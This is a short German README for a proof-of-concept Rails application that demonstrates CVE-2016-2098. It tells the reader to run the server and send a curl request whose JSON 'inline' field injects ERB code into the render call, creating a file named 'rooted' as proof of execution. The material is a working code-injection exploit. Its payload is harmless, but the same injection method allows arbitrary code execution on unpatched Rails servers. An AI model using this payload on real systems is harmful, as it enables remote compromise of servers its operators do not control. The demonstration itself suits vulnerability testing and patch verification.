dh-CVE_2016_2098

== README Proof of concept für https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== Ausnutzung:

1. Sie sollten den Rails-Server nur auf eine Weise ausführen, die sicherstellt, dass Sie sich nicht angreifbar machen.
2. Führen Sie rails s aus.
3. Führen Sie den folgenden Befehl aus: curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. Überprüfen Sie, dass die Datei "rooted" nun im Projektverzeichnis existiert.